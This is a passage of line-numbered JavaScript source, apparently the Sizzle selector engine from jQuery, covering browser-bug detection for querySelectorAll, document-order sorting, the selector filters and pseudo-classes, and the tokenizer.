1162 Expr.filter["ID"] = function( id ) {
1163 var attrId = id.replace( runescape, funescape );
1164 return function( elem ) {
1165 var node = typeof elem.getAttributeNode !== "undefined" &&
1166 elem.getAttributeNode("id");
1167 return node && node.value === attrId;
1168 };
1169 };
1170 }
1171
1172 // Tag
1173 Expr.find["TAG"] = support.getElementsByTagName ?
1174 function( tag, context ) {
1175 if ( typeof context.getElementsByTagName !== "undefined" ) {
1176 return context.getElementsByTagName( tag );
1177
1178 // DocumentFragment nodes don't have gEBTN
1179 } else if ( support.qsa ) {
1180 return context.querySelectorAll( tag );
1181 }
1182 } :
1183
1184 function( tag, context ) {
1185 var elem,
1186 tmp = [],
1187 i = 0,
1188 // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too
1189 results = context.getElementsByTagName( tag );
1190
1191 // Filter out possible comments
1192 if ( tag === "*" ) {
1193 while ( (elem = results[i++]) ) {
1194 if ( elem.nodeType === 1 ) {
1195 tmp.push( elem );
1196 }
1197 }
1198
1199 return tmp;
1200 }
1201 return results;
1202 };
1203
1204 // Class
1205 Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
1206 if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) {
1207 return context.getElementsByClassName( className );
1208 }
1209 };
1210
1211 /* QSA/matchesSelector
1212 ---------------------------------------------------------------------- */
1213
1214 // QSA and matchesSelector support
1215
1216 // matchesSelector(:active) reports false when true (IE9/Opera 11.5)
1217 rbuggyMatches = [];
1218
1219 // qSa(:focus) reports false when true (Chrome 21)
1220 // We allow this because of a bug in IE8/9 that throws an error
1221 // whenever `document.activeElement` is accessed on an iframe
1222 // So, we allow :focus to pass through QSA all the time to avoid the IE error
1223 // See http://bugs.jquery.com/ticket/13378
1224 rbuggyQSA = [];
1225
1226 if ( (support.qsa = rnative.test( document.querySelectorAll )) ) {
1227 // Build QSA regex
1228 // Regex strategy adopted from Diego Perini
1229 assert(function( div ) {
1230 // Select is set to empty string on purpose
1231 // This is to test IE's treatment of not explicitly
1232 // setting a boolean content attribute,
1233 // since its presence should be enough
1234 // http://bugs.jquery.com/ticket/12359
1235 docElem.appendChild( div ).innerHTML = "<a id='" + expando + "'></a>" +
1236 "<select id='" + expando + "-\r\\' msallowcapture=''>" +
1237 "<option selected=''></option></select>";
1238
1239 // Support: IE8, Opera 11-12.16
1240 // Nothing should be selected when empty strings follow ^= or $= or *=
1241 // The test attribute must be unknown in Opera but "safe" for WinRT
1242 // http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section
1243 if ( div.querySelectorAll("[msallowcapture^='']").length ) {
1244 rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
1245 }
1246
1247 // Support: IE8
1248 // Boolean attributes and "value" are not treated correctly
1249 if ( !div.querySelectorAll("[selected]").length ) {
1250 rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
1251 }
1252
1253 // Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+
1254 if ( !div.querySelectorAll( "[id~=" + expando + "-]" ).length ) {
1255 rbuggyQSA.push("~=");
1256 }
1257
1258 // Webkit/Opera - :checked should return selected option elements
1259 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
1260 // IE8 throws error here and will not see later tests
1261 if ( !div.querySelectorAll(":checked").length ) {
1262 rbuggyQSA.push(":checked");
1263 }
1264
1265 // Support: Safari 8+, iOS 8+
1266 // https://bugs.webkit.org/show_bug.cgi?id=136851
1267 // In-page `selector#id sibing-combinator selector` fails
1268 if ( !div.querySelectorAll( "a#" + expando + "+*" ).length ) {
1269 rbuggyQSA.push(".#.+[+~]");
1270 }
1271 });
1272
1273 assert(function( div ) {
1274 // Support: Windows 8 Native Apps
1275 // The type and name attributes are restricted during .innerHTML assignment
1276 var input = document.createElement("input");
1277 input.setAttribute( "type", "hidden" );
1278 div.appendChild( input ).setAttribute( "name", "D" );
1279
1280 // Support: IE8
1281 // Enforce case-sensitivity of name attribute
1282 if ( div.querySelectorAll("[name=d]").length ) {
1283 rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
1284 }
1285
1286 // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
1287 // IE8 throws error here and will not see later tests
1288 if ( !div.querySelectorAll(":enabled").length ) {
1289 rbuggyQSA.push( ":enabled", ":disabled" );
1290 }
1291
1292 // Opera 10-11 does not throw on post-comma invalid pseudos
1293 div.querySelectorAll("*,:x");
1294 rbuggyQSA.push(",.*:");
1295 });
1296 }
1297
1298 if ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||
1299 docElem.webkitMatchesSelector ||
1300 docElem.mozMatchesSelector ||
1301 docElem.oMatchesSelector ||
1302 docElem.msMatchesSelector) )) ) {
1303
1304 assert(function( div ) {
1305 // Check to see if it's possible to do matchesSelector
1306 // on a disconnected node (IE 9)
1307 support.disconnectedMatch = matches.call( div, "div" );
1308
1309 // This should fail with an exception
1310 // Gecko does not error, returns false instead
1311 matches.call( div, "[s!='']:x" );
1312 rbuggyMatches.push( "!=", pseudos );
1313 });
1314 }
1315
1316 rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
1317 rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
1318
1319 /* Contains
1320 ---------------------------------------------------------------------- */
1321 hasCompare = rnative.test( docElem.compareDocumentPosition );
1322
1323 // Element contains another
1324 // Purposefully self-exclusive
1325 // As in, an element does not contain itself
1326 contains = hasCompare || rnative.test( docElem.contains ) ?
1327 function( a, b ) {
1328 var adown = a.nodeType === 9 ? a.documentElement : a,
1329 bup = b && b.parentNode;
1330 return a === bup || !!( bup && bup.nodeType === 1 && (
1331 adown.contains ?
1332 adown.contains( bup ) :
1333 a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
1334 ));
1335 } :
1336 function( a, b ) {
1337 if ( b ) {
1338 while ( (b = b.parentNode) ) {
1339 if ( b === a ) {
1340 return true;
1341 }
1342 }
1343 }
1344 return false;
1345 };
1346
1347 /* Sorting
1348 ---------------------------------------------------------------------- */
1349
1350 // Document order sorting
1351 sortOrder = hasCompare ?
1352 function( a, b ) {
1353
1354 // Flag for duplicate removal
1355 if ( a === b ) {
1356 hasDuplicate = true;
1357 return 0;
1358 }
1359
1360 // Sort on method existence if only one input has compareDocumentPosition
1361 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
1362 if ( compare ) {
1363 return compare;
1364 }
1365
1366 // Calculate position if both inputs belong to the same document
1367 compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
1368 a.compareDocumentPosition( b ) :
1369
1370 // Otherwise we know they are disconnected
1371 1;
1372
1373 // Disconnected nodes
1374 if ( compare & 1 ||
1375 (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
1376
1377 // Choose the first element that is related to our preferred document
1378 if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
1379 return -1;
1380 }
1381 if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
1382 return 1;
1383 }
1384
1385 // Maintain original order
1386 return sortInput ?
1387 ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
1388 0;
1389 }
1390
1391 return compare & 4 ? -1 : 1;
1392 } :
1393 function( a, b ) {
1394 // Exit early if the nodes are identical
1395 if ( a === b ) {
1396 hasDuplicate = true;
1397 return 0;
1398 }
1399
1400 var cur,
1401 i = 0,
1402 aup = a.parentNode,
1403 bup = b.parentNode,
1404 ap = [ a ],
1405 bp = [ b ];
1406
1407 // Parentless nodes are either documents or disconnected
1408 if ( !aup || !bup ) {
1409 return a === document ? -1 :
1410 b === document ? 1 :
1411 aup ? -1 :
1412 bup ? 1 :
1413 sortInput ?
1414 ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
1415 0;
1416
1417 // If the nodes are siblings, we can do a quick check
1418 } else if ( aup === bup ) {
1419 return siblingCheck( a, b );
1420 }
1421
1422 // Otherwise we need full lists of their ancestors for comparison
1423 cur = a;
1424 while ( (cur = cur.parentNode) ) {
1425 ap.unshift( cur );
1426 }
1427 cur = b;
1428 while ( (cur = cur.parentNode) ) {
1429 bp.unshift( cur );
1430 }
1431
1432 // Walk down the tree looking for a discrepancy
1433 while ( ap[i] === bp[i] ) {
1434 i++;
1435 }
1436
1437 return i ?
1438 // Do a sibling check if the nodes have a common ancestor
1439 siblingCheck( ap[i], bp[i] ) :
1440
1441 // Otherwise nodes in our document sort first
1442 ap[i] === preferredDoc ? -1 :
1443 bp[i] === preferredDoc ? 1 :
1444 0;
1445 };
1446
1447 return document;
1448 };
1449
1450 Sizzle.matches = function( expr, elements ) {
1451 return Sizzle( expr, null, null, elements );
1452 };
1453
1454 Sizzle.matchesSelector = function( elem, expr ) {
1455 // Set document vars if needed
1456 if ( ( elem.ownerDocument || elem ) !== document ) {
1457 setDocument( elem );
1458 }
1459
1460 // Make sure that attribute selectors are quoted
1461 expr = expr.replace( rattributeQuotes, "='$1']" );
1462
1463 if ( support.matchesSelector && documentIsHTML &&
1464 !compilerCache[ expr + " " ] &&
1465 ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
1466 ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {
1467
1468 try {
1469 var ret = matches.call( elem, expr );
1470
1471 // IE 9's matchesSelector returns false on disconnected nodes
1472 if ( ret || support.disconnectedMatch ||
1473 // As well, disconnected nodes are said to be in a document
1474 // fragment in IE 9
1475 elem.document && elem.document.nodeType !== 11 ) {
1476 return ret;
1477 }
1478 } catch (e) {}
1479 }
1480
1481 return Sizzle( expr, document, null, [ elem ] ).length > 0;
1482 };
1483
1484 Sizzle.contains = function( context, elem ) {
1485 // Set document vars if needed
1486 if ( ( context.ownerDocument || context ) !== document ) {
1487 setDocument( context );
1488 }
1489 return contains( context, elem );
1490 };
1491
1492 Sizzle.attr = function( elem, name ) {
1493 // Set document vars if needed
1494 if ( ( elem.ownerDocument || elem ) !== document ) {
1495 setDocument( elem );
1496 }
1497
1498 var fn = Expr.attrHandle[ name.toLowerCase() ],
1499 // Don't get fooled by Object.prototype properties (jQuery #13807)
1500 val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
1501 fn( elem, name, !documentIsHTML ) :
1502 undefined;
1503
1504 return val !== undefined ?
1505 val :
1506 support.attributes || !documentIsHTML ?
1507 elem.getAttribute( name ) :
1508 (val = elem.getAttributeNode(name)) && val.specified ?
1509 val.value :
1510 null;
1511 };
1512
1513 Sizzle.error = function( msg ) {
1514 throw new Error( "Syntax error, unrecognized expression: " + msg );
1515 };
1516
1517 /**
1518 * Document sorting and removing duplicates
1519 * @param {ArrayLike} results
1520 */
1521 Sizzle.uniqueSort = function( results ) {
1522 var elem,
1523 duplicates = [],
1524 j = 0,
1525 i = 0;
1526
1527 // Unless we *know* we can detect duplicates, assume their presence
1528 hasDuplicate = !support.detectDuplicates;
1529 sortInput = !support.sortStable && results.slice( 0 );
1530 results.sort( sortOrder );
1531
1532 if ( hasDuplicate ) {
1533 while ( (elem = results[i++]) ) {
1534 if ( elem === results[ i ] ) {
1535 j = duplicates.push( i );
1536 }
1537 }
1538 while ( j-- ) {
1539 results.splice( duplicates[ j ], 1 );
1540 }
1541 }
1542
1543 // Clear input after sorting to release objects
1544 // See https://github.com/jquery/sizzle/pull/225
1545 sortInput = null;
1546
1547 return results;
1548 };
1549
1550 /**
1551 * Utility function for retrieving the text value of an array of DOM nodes
1552 * @param {Array|Element} elem
1553 */
1554 getText = Sizzle.getText = function( elem ) {
1555 var node,
1556 ret = "",
1557 i = 0,
1558 nodeType = elem.nodeType;
1559
1560 if ( !nodeType ) {
1561 // If no nodeType, this is expected to be an array
1562 while ( (node = elem[i++]) ) {
1563 // Do not traverse comment nodes
1564 ret += getText( node );
1565 }
1566 } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
1567 // Use textContent for elements
1568 // innerText usage removed for consistency of new lines (jQuery #11153)
1569 if ( typeof elem.textContent === "string" ) {
1570 return elem.textContent;
1571 } else {
1572 // Traverse its children
1573 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
1574 ret += getText( elem );
1575 }
1576 }
1577 } else if ( nodeType === 3 || nodeType === 4 ) {
1578 return elem.nodeValue;
1579 }
1580 // Do not include comment or processing instruction nodes
1581
1582 return ret;
1583 };
1584
1585 Expr = Sizzle.selectors = {
1586
1587 // Can be adjusted by the user
1588 cacheLength: 50,
1589
1590 createPseudo: markFunction,
1591
1592 match: matchExpr,
1593
1594 attrHandle: {},
1595
1596 find: {},
1597
1598 relative: {
1599 ">": { dir: "parentNode", first: true },
1600 " ": { dir: "parentNode" },
1601 "+": { dir: "previousSibling", first: true },
1602 "~": { dir: "previousSibling" }
1603 },
1604
1605 preFilter: {
1606 "ATTR": function( match ) {
1607 match[1] = match[1].replace( runescape, funescape );
1608
1609 // Move the given value to match[3] whether quoted or unquoted
1610 match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape );
1611
1612 if ( match[2] === "~=" ) {
1613 match[3] = " " + match[3] + " ";
1614 }
1615
1616 return match.slice( 0, 4 );
1617 },
1618
1619 "CHILD": function( match ) {
1620 /* matches from matchExpr["CHILD"]
1621 1 type (only|nth|...)
1622 2 what (child|of-type)
1623 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
1624 4 xn-component of xn+y argument ([+-]?\d*n|)
1625 5 sign of xn-component
1626 6 x of xn-component
1627 7 sign of y-component
1628 8 y of y-component
1629 */
1630 match[1] = match[1].toLowerCase();
1631
1632 if ( match[1].slice( 0, 3 ) === "nth" ) {
1633 // nth-* requires argument
1634 if ( !match[3] ) {
1635 Sizzle.error( match[0] );
1636 }
1637
1638 // numeric x and y parameters for Expr.filter.CHILD
1639 // remember that false/true cast respectively to 0/1
1640 match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
1641 match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
1642
1643 // other types prohibit arguments
1644 } else if ( match[3] ) {
1645 Sizzle.error( match[0] );
1646 }
1647
1648 return match;
1649 },
1650
1651 "PSEUDO": function( match ) {
1652 var excess,
1653 unquoted = !match[6] && match[2];
1654
1655 if ( matchExpr["CHILD"].test( match[0] ) ) {
1656 return null;
1657 }
1658
1659 // Accept quoted arguments as-is
1660 if ( match[3] ) {
1661 match[2] = match[4] || match[5] || "";
1662
1663 // Strip excess characters from unquoted arguments
1664 } else if ( unquoted && rpseudo.test( unquoted ) &&
1665 // Get excess from tokenize (recursively)
1666 (excess = tokenize( unquoted, true )) &&
1667 // advance to the next closing parenthesis
1668 (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
1669
1670 // excess is a negative index
1671 match[0] = match[0].slice( 0, excess );
1672 match[2] = unquoted.slice( 0, excess );
1673 }
1674
1675 // Return only captures needed by the pseudo filter method (type and argument)
1676 return match.slice( 0, 3 );
1677 }
1678 },
1679
1680 filter: {
1681
1682 "TAG": function( nodeNameSelector ) {
1683 var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
1684 return nodeNameSelector === "*" ?
1685 function() { return true; } :
1686 function( elem ) {
1687 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
1688 };
1689 },
1690
1691 "CLASS": function( className ) {
1692 var pattern = classCache[ className + " " ];
1693
1694 return pattern ||
1695 (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
1696 classCache( className, function( elem ) {
1697 return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" );
1698 });
1699 },
1700
1701 "ATTR": function( name, operator, check ) {
1702 return function( elem ) {
1703 var result = Sizzle.attr( elem, name );
1704
1705 if ( result == null ) {
1706 return operator === "!=";
1707 }
1708 if ( !operator ) {
1709 return true;
1710 }
1711
1712 result += "";
1713
1714 return operator === "=" ? result === check :
1715 operator === "!=" ? result !== check :
1716 operator === "^=" ? check && result.indexOf( check ) === 0 :
1717 operator === "*=" ? check && result.indexOf( check ) > -1 :
1718 operator === "$=" ? check && result.slice( -check.length ) === check :
1719 operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 :
1720 operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
1721 false;
1722 };
1723 },
1724
1725 "CHILD": function( type, what, argument, first, last ) {
1726 var simple = type.slice( 0, 3 ) !== "nth",
1727 forward = type.slice( -4 ) !== "last",
1728 ofType = what === "of-type";
1729
1730 return first === 1 && last === 0 ?
1731
1732 // Shortcut for :nth-*(n)
1733 function( elem ) {
1734 return !!elem.parentNode;
1735 } :
1736
1737 function( elem, context, xml ) {
1738 var cache, uniqueCache, outerCache, node, nodeIndex, start,
1739 dir = simple !== forward ? "nextSibling" : "previousSibling",
1740 parent = elem.parentNode,
1741 name = ofType && elem.nodeName.toLowerCase(),
1742 useCache = !xml && !ofType,
1743 diff = false;
1744
1745 if ( parent ) {
1746
1747 // :(first|last|only)-(child|of-type)
1748 if ( simple ) {
1749 while ( dir ) {
1750 node = elem;
1751 while ( (node = node[ dir ]) ) {
1752 if ( ofType ?
1753 node.nodeName.toLowerCase() === name :
1754 node.nodeType === 1 ) {
1755
1756 return false;
1757 }
1758 }
1759 // Reverse direction for :only-* (if we haven't yet done so)
1760 start = dir = type === "only" && !start && "nextSibling";
1761 }
1762 return true;
1763 }
1764
1765 start = [ forward ? parent.firstChild : parent.lastChild ];
1766
1767 // non-xml :nth-child(...) stores cache data on `parent`
1768 if ( forward && useCache ) {
1769
1770 // Seek `elem` from a previously-cached index
1771
1772 // ...in a gzip-friendly way
1773 node = parent;
1774 outerCache = node[ expando ] || (node[ expando ] = {});
1775
1776 // Support: IE <9 only
1777 // Defend against cloned attroperties (jQuery gh-1709)
1778 uniqueCache = outerCache[ node.uniqueID ] ||
1779 (outerCache[ node.uniqueID ] = {});
1780
1781 cache = uniqueCache[ type ] || [];
1782 nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
1783 diff = nodeIndex && cache[ 2 ];
1784 node = nodeIndex && parent.childNodes[ nodeIndex ];
1785
1786 while ( (node = ++nodeIndex && node && node[ dir ] ||
1787
1788 // Fallback to seeking `elem` from the start
1789 (diff = nodeIndex = 0) || start.pop()) ) {
1790
1791 // When found, cache indexes on `parent` and break
1792 if ( node.nodeType === 1 && ++diff && node === elem ) {
1793 uniqueCache[ type ] = [ dirruns, nodeIndex, diff ];
1794 break;
1795 }
1796 }
1797
1798 } else {
1799 // Use previously-cached element index if available
1800 if ( useCache ) {
1801 // ...in a gzip-friendly way
1802 node = elem;
1803 outerCache = node[ expando ] || (node[ expando ] = {});
1804
1805 // Support: IE <9 only
1806 // Defend against cloned attroperties (jQuery gh-1709)
1807 uniqueCache = outerCache[ node.uniqueID ] ||
1808 (outerCache[ node.uniqueID ] = {});
1809
1810 cache = uniqueCache[ type ] || [];
1811 nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
1812 diff = nodeIndex;
1813 }
1814
1815 // xml :nth-child(...)
1816 // or :nth-last-child(...) or :nth(-last)?-of-type(...)
1817 if ( diff === false ) {
1818 // Use the same loop as above to seek `elem` from the start
1819 while ( (node = ++nodeIndex && node && node[ dir ] ||
1820 (diff = nodeIndex = 0) || start.pop()) ) {
1821
1822 if ( ( ofType ?
1823 node.nodeName.toLowerCase() === name :
1824 node.nodeType === 1 ) &&
1825 ++diff ) {
1826
1827 // Cache the index of each encountered element
1828 if ( useCache ) {
1829 outerCache = node[ expando ] || (node[ expando ] = {});
1830
1831 // Support: IE <9 only
1832 // Defend against cloned attroperties (jQuery gh-1709)
1833 uniqueCache = outerCache[ node.uniqueID ] ||
1834 (outerCache[ node.uniqueID ] = {});
1835
1836 uniqueCache[ type ] = [ dirruns, diff ];
1837 }
1838
1839 if ( node === elem ) {
1840 break;
1841 }
1842 }
1843 }
1844 }
1845 }
1846
1847 // Incorporate the offset, then check against cycle size
1848 diff -= last;
1849 return diff === first || ( diff % first === 0 && diff / first >= 0 );
1850 }
1851 };
1852 },
1853
1854 "PSEUDO": function( pseudo, argument ) {
1855 // pseudo-class names are case-insensitive
1856 // http://www.w3.org/TR/selectors/#pseudo-classes
1857 // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
1858 // Remember that setFilters inherits from pseudos
1859 var args,
1860 fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
1861 Sizzle.error( "unsupported pseudo: " + pseudo );
1862
1863 // The user may use createPseudo to indicate that
1864 // arguments are needed to create the filter function
1865 // just as Sizzle does
1866 if ( fn[ expando ] ) {
1867 return fn( argument );
1868 }
1869
1870 // But maintain support for old signatures
1871 if ( fn.length > 1 ) {
1872 args = [ pseudo, pseudo, "", argument ];
1873 return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
1874 markFunction(function( seed, matches ) {
1875 var idx,
1876 matched = fn( seed, argument ),
1877 i = matched.length;
1878 while ( i-- ) {
1879 idx = indexOf( seed, matched[i] );
1880 seed[ idx ] = !( matches[ idx ] = matched[i] );
1881 }
1882 }) :
1883 function( elem ) {
1884 return fn( elem, 0, args );
1885 };
1886 }
1887
1888 return fn;
1889 }
1890 },
1891
1892 pseudos: {
1893 // Potentially complex pseudos
1894 "not": markFunction(function( selector ) {
1895 // Trim the selector passed to compile
1896 // to avoid treating leading and trailing
1897 // spaces as combinators
1898 var input = [],
1899 results = [],
1900 matcher = compile( selector.replace( rtrim, "$1" ) );
1901
1902 return matcher[ expando ] ?
1903 markFunction(function( seed, matches, context, xml ) {
1904 var elem,
1905 unmatched = matcher( seed, null, xml, [] ),
1906 i = seed.length;
1907
1908 // Match elements unmatched by `matcher`
1909 while ( i-- ) {
1910 if ( (elem = unmatched[i]) ) {
1911 seed[i] = !(matches[i] = elem);
1912 }
1913 }
1914 }) :
1915 function( elem, context, xml ) {
1916 input[0] = elem;
1917 matcher( input, null, xml, results );
1918 // Don't keep the element (issue #299)
1919 input[0] = null;
1920 return !results.pop();
1921 };
1922 }),
1923
1924 "has": markFunction(function( selector ) {
1925 return function( elem ) {
1926 return Sizzle( selector, elem ).length > 0;
1927 };
1928 }),
1929
1930 "contains": markFunction(function( text ) {
1931 text = text.replace( runescape, funescape );
1932 return function( elem ) {
1933 return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
1934 };
1935 }),
1936
1937 // "Whether an element is represented by a :lang() selector
1938 // is based solely on the element's language value
1939 // being equal to the identifier C,
1940 // or beginning with the identifier C immediately followed by "-".
1941 // The matching of C against the element's language value is performed case-insensitively.
1942 // The identifier C does not have to be a valid language name."
1943 // http://www.w3.org/TR/selectors/#lang-pseudo
1944 "lang": markFunction( function( lang ) {
1945 // lang value must be a valid identifier
1946 if ( !ridentifier.test(lang || "") ) {
1947 Sizzle.error( "unsupported lang: " + lang );
1948 }
1949 lang = lang.replace( runescape, funescape ).toLowerCase();
1950 return function( elem ) {
1951 var elemLang;
1952 do {
1953 if ( (elemLang = documentIsHTML ?
1954 elem.lang :
1955 elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
1956
1957 elemLang = elemLang.toLowerCase();
1958 return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
1959 }
1960 } while ( (elem = elem.parentNode) && elem.nodeType === 1 );
1961 return false;
1962 };
1963 }),
1964
1965 // Miscellaneous
1966 "target": function( elem ) {
1967 var hash = window.location && window.location.hash;
1968 return hash && hash.slice( 1 ) === elem.id;
1969 },
1970
1971 "root": function( elem ) {
1972 return elem === docElem;
1973 },
1974
1975 "focus": function( elem ) {
1976 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
1977 },
1978
1979 // Boolean properties
1980 "enabled": function( elem ) {
1981 return elem.disabled === false;
1982 },
1983
1984 "disabled": function( elem ) {
1985 return elem.disabled === true;
1986 },
1987
1988 "checked": function( elem ) {
1989 // In CSS3, :checked should return both checked and selected elements
1990 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
1991 var nodeName = elem.nodeName.toLowerCase();
1992 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
1993 },
1994
1995 "selected": function( elem ) {
1996 // Accessing this property makes selected-by-default
1997 // options in Safari work properly
1998 if ( elem.parentNode ) {
1999 elem.parentNode.selectedIndex;
2000 }
2001
2002 return elem.selected === true;
2003 },
2004
2005 // Contents
2006 "empty": function( elem ) {
2007 // http://www.w3.org/TR/selectors/#empty-pseudo
2008 // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
2009 // but not by others (comment: 8; processing instruction: 7; etc.)
2010 // nodeType < 6 works because attributes (2) do not appear as children
2011 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
2012 if ( elem.nodeType < 6 ) {
2013 return false;
2014 }
2015 }
2016 return true;
2017 },
2018
2019 "parent": function( elem ) {
2020 return !Expr.pseudos["empty"]( elem );
2021 },
2022
2023 // Element/input types
2024 "header": function( elem ) {
2025 return rheader.test( elem.nodeName );
2026 },
2027
2028 "input": function( elem ) {
2029 return rinputs.test( elem.nodeName );
2030 },
2031
2032 "button": function( elem ) {
2033 var name = elem.nodeName.toLowerCase();
2034 return name === "input" && elem.type === "button" || name === "button";
2035 },
2036
2037 "text": function( elem ) {
2038 var attr;
2039 return elem.nodeName.toLowerCase() === "input" &&
2040 elem.type === "text" &&
2041
2042 // Support: IE<8
2043 // New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
2044 ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
2045 },
2046
2047 // Position-in-collection
2048 "first": createPositionalPseudo(function() {
2049 return [ 0 ];
2050 }),
2051
2052 "last": createPositionalPseudo(function( matchIndexes, length ) {
2053 return [ length - 1 ];
2054 }),
2055
2056 "eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
2057 return [ argument < 0 ? argument + length : argument ];
2058 }),
2059
2060 "even": createPositionalPseudo(function( matchIndexes, length ) {
2061 var i = 0;
2062 for ( ; i < length; i += 2 ) {
2063 matchIndexes.push( i );
2064 }
2065 return matchIndexes;
2066 }),
2067
2068 "odd": createPositionalPseudo(function( matchIndexes, length ) {
2069 var i = 1;
2070 for ( ; i < length; i += 2 ) {
2071 matchIndexes.push( i );
2072 }
2073 return matchIndexes;
2074 }),
2075
2076 "lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
2077 var i = argument < 0 ? argument + length : argument;
2078 for ( ; --i >= 0; ) {
2079 matchIndexes.push( i );
2080 }
2081 return matchIndexes;
2082 }),
2083
2084 "gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
2085 var i = argument < 0 ? argument + length : argument;
2086 for ( ; ++i < length; ) {
2087 matchIndexes.push( i );
2088 }
2089 return matchIndexes;
2090 })
2091 }
2092 };
2093
2094 Expr.pseudos["nth"] = Expr.pseudos["eq"];
2095
2096// Add button/input type pseudos
2097 for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
2098 Expr.pseudos[ i ] = createInputPseudo( i );
2099 }
2100 for ( i in { submit: true, reset: true } ) {
2101 Expr.pseudos[ i ] = createButtonPseudo( i );
2102 }
2103
2104// Easy API for creating new setFilters
2105 function setFilters() {}
2106 setFilters.prototype = Expr.filters = Expr.pseudos;
2107 Expr.setFilters = new setFilters();
2108
2109 tokenize = Sizzle.tokenize = function( selector, parseOnly ) {
2110 var matched, match, tokens, type,
2111 soFar, groups, preFilters,
2112 cached = tokenCache[ selector + " " ];
2113
2114 if ( cached ) {
2115 return parseOnly ? 0 : cached.slice( 0 );
2116 }
2117
2118 soFar = selector;
2119 groups = [];
2120 preFilters = Expr.preFilter;
2121
2122 while ( soFar ) {
2123
2124 // Comma and first run
2125 if ( !matched || (match = rcomma.exec( soFar )) ) {
2126 if ( match ) {
2127 // Don't consume trailing commas as valid
2128 soFar = soFar.slice( match[0].length ) || soFar;
2129 }
2130 groups.push( (tokens = []) );
2131 }
2132
2133 matched = false;
2134
2135 // Combinators
2136 if ( (match = rcombinators.exec( soFar )) ) {
2137 matched = match.shift();
2138 tokens.push({
2139 value: matched,
2140 // Cast descendant combinators to space
2141 type: match[0].replace( rtrim, " " )
2142 });
2143 soFar = soFar.slice( matched.length );
2144 }
2145
2146 // Filters
2147 for ( type in Expr.filter ) {
2148 if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
2149 (match = preFilters[ type ]( match ))) ) {
2150 matched = match.shift();
2151 tokens.push({
2152 value: matched,
2153 type: type,
2154 matches: match
2155 });
2156 soFar = soFar.slice( matched.length );
2157 }
2158 }
2159
2160 if ( !matched ) {
2161 break;
2162 }
2163 }
2164
2165 // Return the length of the invalid excess
2166 // if we're just parsing
2167 // Otherwise, throw an error or return tokens
2168 return parseOnly ?
2169 soFar.length :
2170 soFar ?
2171 Sizzle.error( selector ) :
2172 // Cache the tokens
2173 tokenCache( selector, groups ).slice( 0 );
2174 };
2175
2176 function toSelector( tokens ) {
2177 var i = 0,
2178 len = tokens.length,
2179 selector = "";
2180 for ( ; i < len; i++ ) {
2181 selector += tokens[i].value;
2182 }
2183 return selector;
2184 }
2185
2186 function addCombinator( matcher, combinator, base ) {
2187 var dir = combinator.dir,
2188 checkNonElements = base && dir === "parentNode",
2189 doneName = done++;
2190
2191 return combinator.first ?
2192 // Check against closest ancestor/preceding element
2193 function( elem, context, xml ) {
2194 while ( (elem = elem[ dir ]) ) {
2195 if ( elem.nodeType === 1 || checkNonElements ) {
